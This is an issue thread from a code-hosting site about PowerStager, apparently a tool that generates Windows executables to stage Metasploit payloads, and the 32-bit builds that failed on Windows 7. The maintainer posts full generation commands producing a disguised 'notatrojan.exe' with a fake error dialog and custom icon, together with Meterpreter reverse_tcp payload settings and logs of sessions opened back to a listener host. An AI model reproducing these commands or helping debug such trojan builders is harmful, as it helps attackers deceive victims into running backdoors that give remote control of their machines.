public/powerstager
1
0
Fork 0
Code Issues 9 Pull Requests Actions Packages Projects Releases Wiki Activity

created exes not working in windows 7 #8

New Issue
Closed
opened 2017-06-08 19:47:21 +02:00 by peterpt · 6 comments
peterpt commented 2017-06-08 19:47:21 +02:00 (Migrated from github.com)
Copy Link

Hi , i created an exe with your script , and i installed specifically windows 7 to test it out .
The exe is 32bit , and this w7 is also 32bit .
Before this video i opened metasploit console with a listener script but it was unable to gt any connection from this station .
This exe was supposedly to connect to an ip on my local network , and i checked if powershell was installed .
I used tcpview to monitor the outside connection to see if the Exe was trying to connect to my lan ip , but it looks that exe crashes on there is anything wrong on the payload .
i created a video .
On this video there will be a black space , this happened when windows asked me to run app as administrator , but camstudio was unable to catch that .
Let me know if you are aware of this issue , and let me know if you need dome tests from here to check it out what is happening .

here it is the video : https://www.youtube.com/watch?v=vZoSZ7GAH18

I notice that you updated recently powerstager , i install it and it is poping an error .
I believe this error may be related to the c code that mingw will have to compile .
powerstager

Hi , i created an exe with your script , and i installed specifically windows 7 to test it out . The exe is 32bit , and this w7 is also 32bit . Before this video i opened metasploit console with a listener script but it was unable to gt any connection from this station . This exe was supposedly to connect to an ip on my local network , and i checked if powershell was installed . I used tcpview to monitor the outside connection to see if the Exe was trying to connect to my lan ip , but it looks that exe crashes on there is anything wrong on the payload . i created a video . On this video there will be a black space , this happened when windows asked me to run app as administrator , but camstudio was unable to catch that . Let me know if you are aware of this issue , and let me know if you need dome tests from here to check it out what is happening . here it is the video : https://www.youtube.com/watch?v=vZoSZ7GAH18 I notice that you updated recently powerstager , i install it and it is poping an error . I believe this error may be related to the c code that mingw will have to compile . ![powerstager](https://user-images.githubusercontent.com/7487321/26949357-925457d2-4c91-11e7-9325-3b1245a00d96.png)
z0noxz commented 2017-06-09 09:45:34 +02:00 (Migrated from github.com)
Copy Link

It seems I didn't fully test the functionality for 32bit. Mingw (32bit) seems to be a bit more picky with windows.h. I changed int WinMain( to int WINAPI WinMain( and it compiles for 32bit. I haven't committed this change yet.

When it comes to the REVERSE_TCP payload, having a quick look at the code, it looks like I missed including the 32bit version of the shellcode. I will have a closer look, and probably release a patch today.

It seems I didn't fully test the functionality for 32bit. Mingw (32bit) seems to be a bit more picky with windows.h. I changed `int WinMain(` to `int WINAPI WinMain(` and it compiles for 32bit. I haven't committed this change yet. When it comes to the REVERSE_TCP payload, having a quick look at the code, it looks like I missed including the 32bit version of the shellcode. I will have a closer look, and probably release a patch today.
peterpt commented 2017-06-09 14:24:45 +02:00 (Migrated from github.com)
Copy Link

Thanks , i will not patch yet my local git , i will wait for the full patch on your git and then i test it .

Thanks , i will not patch yet my local git , i will wait for the full patch on your git and then i test it .
peterpt commented 2017-06-09 16:44:16 +02:00 (Migrated from github.com)
Copy Link

Ok , i compiled your latest git and created an exe .
Now the connection is established but metasploit is unable to initiate the stager so it can establish a session .
i created a video for you to look up :
https://youtu.be/1s-YU1gyoq0

Let me know if you need any tests on win7 32bit , i can do it here .

Using the merterpreter option the result is different , msfconsole is unable to establish the connection because of an ssl error .
image1

Ok , i compiled your latest git and created an exe . Now the connection is established but metasploit is unable to initiate the stager so it can establish a session . i created a video for you to look up : https://youtu.be/1s-YU1gyoq0 Let me know if you need any tests on win7 32bit , i can do it here . Using the merterpreter option the result is different , msfconsole is unable to establish the connection because of an ssl error . ![image1](https://user-images.githubusercontent.com/7487321/26982842-a48ea470-4d31-11e7-887f-922848ecb371.jpg)
z0noxz commented 2017-06-10 12:14:47 +02:00 (Migrated from github.com)
Copy Link

What payload did you generate from PowerStager? It seems that MSF gets a call, but a faulty payload is staged. I compiled a list of different scenarios below and the expected outcome of each. This is also the result I get when I test it. I use newly installed Windows 7 (32bit) and Windows 2008 R2 (64bit) in this test.

en_windows_7_professional_x86_dvd_x15-65804.iso
SHA1: 697fa06554502fb21d30275273b25747299c020d

7601.17514.101119-1850_x64fre_server_eval_en-us-GRMSXEVAL_EN_DVD.iso
SHA1: beed231a34e90e1dd9a04b3afabec31d62ce3889

Note: the --reverse-shell option is only intended to be used together with the --listener, or with a separate one like netcat. It is not used together with MSF.

Scenario: PS_WIN32, MSF_X64 on 64bit Windows

POWERSTAGER : powerstager.py --meterpreter --lhost 192.168.56.1 --lport 4444 --target win32 --output notatrojan.exe --fake-error --icon 'icon.ico'
WINDOWS TARGET : Windows Server 2008 R2 (64bit)
MSF PAYLOAD : payload => windows/x64/meterpreter/reverse_tcp
RESULT : #f03c15[-] Errno::ECONNRESET Connection reset by peer - SSL_accept

Scenario: PS_WIN64, MSF_X64 on 64bit Windows

POWERSTAGER : powerstager.py --meterpreter --lhost 192.168.56.1 --lport 4444 --target win64 --output notatrojan.exe --fake-error --icon 'icon.ico'
WINDOWS TARGET : Windows Server 2008 R2 (64bit)
MSF PAYLOAD : payload => windows/x64/meterpreter/reverse_tcp
RESULT : #c5f015[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.200:49165)...

Scenario: PS_WIN32, MSF_X86 on 64bit Windows

POWERSTAGER : powerstager.py --meterpreter --lhost 192.168.56.1 --lport 4444 --target win32 --output notatrojan.exe --fake-error --icon 'icon.ico'
WINDOWS TARGET : Windows Server 2008 R2 (64bit)
MSF PAYLOAD : payload => windows/meterpreter/reverse_tcp
RESULT : #c5f015[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.200:49167)...

Scenario: PS_WIN64, MSF_X86 on 64bit Windows

POWERSTAGER : powerstager.py --meterpreter --lhost 192.168.56.1 --lport 4444 --target win64 --output notatrojan.exe --fake-error --icon 'icon.ico'
WINDOWS TARGET : Windows Server 2008 R2 (64bit)
MSF PAYLOAD : payload => windows/meterpreter/reverse_tcp
RESULT : #f03c15[-] Errno::ECONNRESET Connection reset by peer - SSL_accept

Scenario: PS_WIN32, MSF_X64 on 32bit Windows

POWERSTAGER : powerstager.py --meterpreter --lhost 192.168.56.1 --lport 4444 --target win32 --output notatrojan.exe --fake-error --icon 'icon.ico'
WINDOWS TARGET : Windows 7 (32bit)
MSF PAYLOAD : payload => windows/x64/meterpreter/reverse_tcp
RESULT : #f03c15[-] Errno::ECONNRESET Connection reset by peer - SSL_accept

Scenario: PS_WIN64, MSF_X64 on 32bit Windows

POWERSTAGER : powerstager.py --meterpreter --lhost 192.168.56.1 --lport 4444 --target win64 --output notatrojan.exe --fake-error --icon 'icon.ico'
WINDOWS TARGET : Windows 7 (32bit)
MSF PAYLOAD : payload => windows/x64/meterpreter/reverse_tcp
RESULT : #f03c15n/a (won't execute on 32bit)

Scenario: PS_WIN32, MSF_X86 on 32bit Windows

POWERSTAGER : powerstager.py --meterpreter --lhost 192.168.56.1 --lport 4444 --target win32 --output notatrojan.exe --fake-error --icon 'icon.ico'
WINDOWS TARGET : Windows 7 (32bit)
MSF PAYLOAD : payload => windows/meterpreter/reverse_tcp
RESULT : #c5f015[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.201:49161)...

Scenario: PS_WIN64, MSF_X86 on 32bit Windows

POWERSTAGER : powerstager.py --meterpreter --lhost 192.168.56.1 --lport 4444 --target win64 --output notatrojan.exe --fake-error --icon 'icon.ico'
WINDOWS TARGET : Windows 7 (32bit)
MSF PAYLOAD : payload => windows/meterpreter/reverse_tcp
RESULT : #f03c15n/a (won't execute on 32bit)

What payload did you generate from **PowerStager**? It seems that **MSF** gets a call, but a faulty payload is staged. I compiled a list of different scenarios below and the expected outcome of each. This is also the result I get when I test it. I use newly installed _Windows 7 (32bit)_ and _Windows 2008 R2 (64bit)_ in this test. ``` en_windows_7_professional_x86_dvd_x15-65804.iso SHA1: 697fa06554502fb21d30275273b25747299c020d ``` ``` 7601.17514.101119-1850_x64fre_server_eval_en-us-GRMSXEVAL_EN_DVD.iso SHA1: beed231a34e90e1dd9a04b3afabec31d62ce3889 ``` Note: the `--reverse-shell` option is only intended to be used together with the `--listener`, or with a separate one like **netcat**. It is not used together with **MSF**. # Scenario: PS_WIN32, MSF_X64 on 64bit Windows > POWERSTAGER : **powerstager.py --meterpreter --lhost 192.168.56.1 --lport 4444 --target win32 --output notatrojan.exe --fake-error --icon 'icon.ico'** > WINDOWS TARGET : **Windows Server 2008 R2 (64bit)** > MSF PAYLOAD : **payload => windows/x64/meterpreter/reverse_tcp** > RESULT : ![#f03c15](https://placehold.it/15/f03c15/000000?text=+)**[-] Errno::ECONNRESET Connection reset by peer - SSL_accept** # Scenario: PS_WIN64, MSF_X64 on 64bit Windows > POWERSTAGER : **powerstager.py --meterpreter --lhost 192.168.56.1 --lport 4444 --target win64 --output notatrojan.exe --fake-error --icon 'icon.ico'** > WINDOWS TARGET : **Windows Server 2008 R2 (64bit)** > MSF PAYLOAD : **payload => windows/x64/meterpreter/reverse_tcp** > RESULT : ![#c5f015](https://placehold.it/15/c5f015/000000?text=+)**[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.200:49165)...** # Scenario: PS_WIN32, MSF_X86 on 64bit Windows > POWERSTAGER : **powerstager.py --meterpreter --lhost 192.168.56.1 --lport 4444 --target win32 --output notatrojan.exe --fake-error --icon 'icon.ico'** > WINDOWS TARGET : **Windows Server 2008 R2 (64bit)** > MSF PAYLOAD : **payload => windows/meterpreter/reverse_tcp** > RESULT : ![#c5f015](https://placehold.it/15/c5f015/000000?text=+)**[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.200:49167)...** # Scenario: PS_WIN64, MSF_X86 on 64bit Windows > POWERSTAGER : **powerstager.py --meterpreter --lhost 192.168.56.1 --lport 4444 --target win64 --output notatrojan.exe --fake-error --icon 'icon.ico'** > WINDOWS TARGET : **Windows Server 2008 R2 (64bit)** > MSF PAYLOAD : **payload => windows/meterpreter/reverse_tcp** > RESULT : ![#f03c15](https://placehold.it/15/f03c15/000000?text=+)**[-] Errno::ECONNRESET Connection reset by peer - SSL_accept** # Scenario: PS_WIN32, MSF_X64 on 32bit Windows > POWERSTAGER : **powerstager.py --meterpreter --lhost 192.168.56.1 --lport 4444 --target win32 --output notatrojan.exe --fake-error --icon 'icon.ico'** > WINDOWS TARGET : **Windows 7 (32bit)** > MSF PAYLOAD : **payload => windows/x64/meterpreter/reverse_tcp** > RESULT : ![#f03c15](https://placehold.it/15/f03c15/000000?text=+)**[-] Errno::ECONNRESET Connection reset by peer - SSL_accept** # Scenario: PS_WIN64, MSF_X64 on 32bit Windows > POWERSTAGER : **powerstager.py --meterpreter --lhost 192.168.56.1 --lport 4444 --target win64 --output notatrojan.exe --fake-error --icon 'icon.ico'** > WINDOWS TARGET : **Windows 7 (32bit)** > MSF PAYLOAD : **payload => windows/x64/meterpreter/reverse_tcp** > RESULT : ![#f03c15](https://placehold.it/15/f03c15/000000?text=+)**n/a (won't execute on 32bit)** # Scenario: PS_WIN32, MSF_X86 on 32bit Windows > POWERSTAGER : **powerstager.py --meterpreter --lhost 192.168.56.1 --lport 4444 --target win32 --output notatrojan.exe --fake-error --icon 'icon.ico'** > WINDOWS TARGET : **Windows 7 (32bit)** > MSF PAYLOAD : **payload => windows/meterpreter/reverse_tcp** > RESULT : ![#c5f015](https://placehold.it/15/c5f015/000000?text=+)**[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.201:49161)...** # Scenario: PS_WIN64, MSF_X86 on 32bit Windows > POWERSTAGER : **powerstager.py --meterpreter --lhost 192.168.56.1 --lport 4444 --target win64 --output notatrojan.exe --fake-error --icon 'icon.ico'** > WINDOWS TARGET : **Windows 7 (32bit)** > MSF PAYLOAD : **payload => windows/meterpreter/reverse_tcp** > RESULT : ![#f03c15](https://placehold.it/15/f03c15/000000?text=+)**n/a (won't execute on 32bit)**
peterpt commented 2017-06-10 13:06:24 +02:00 (Migrated from github.com)
Copy Link

thanks for the info , i will do my tests here according to your output .
Basically i created your payload accordingly to your readme file and according to the listener you create with your script .
check line 874 in your previous version of powerstager here : https://github.com/peterpt/powerstager/blob/master/powerstager/powerstager.py

Another thing , i think it could be interesting if you change the module on your script from "urllib.parse" to "urllib" , so python 2.7 can also execute your script .
However , this last option it is your decision .

Thank you for your reply on this subject , i will let you know how where my tests here .

thanks for the info , i will do my tests here according to your output . Basically i created your payload accordingly to your readme file and according to the listener you create with your script . check line 874 in your previous version of powerstager here : https://github.com/peterpt/powerstager/blob/master/powerstager/powerstager.py Another thing , i think it could be interesting if you change the module on your script from "urllib.parse" to "urllib" , so python 2.7 can also execute your script . However , this last option it is your decision . Thank you for your reply on this subject , i will let you know how where my tests here .
peterpt commented 2017-06-11 02:09:00 +02:00 (Migrated from github.com)
Copy Link

Thanks for the changes , i was testing it now and it is working perfectly .
I made a video of the testing in case you want to see it .

https://youtu.be/4xkiAPDXfPM

Thanks for the changes , i was testing it now and it is working perfectly . I made a video of the testing in case you want to see it . https://youtu.be/4xkiAPDXfPM
Sign in to join this conversation.
No Branch/Tag Specified
Branches Tags
Labels
Clear labels
bug
duplicate
enhancement
help wanted
invalid
question
wontfix
No Label
Milestone
No items
No Milestone
Projects
Clear projects
No project
Assignees
Clear assignees
xnoxz
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: public/powerstager#8
Delete Branch "%!s()"

Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?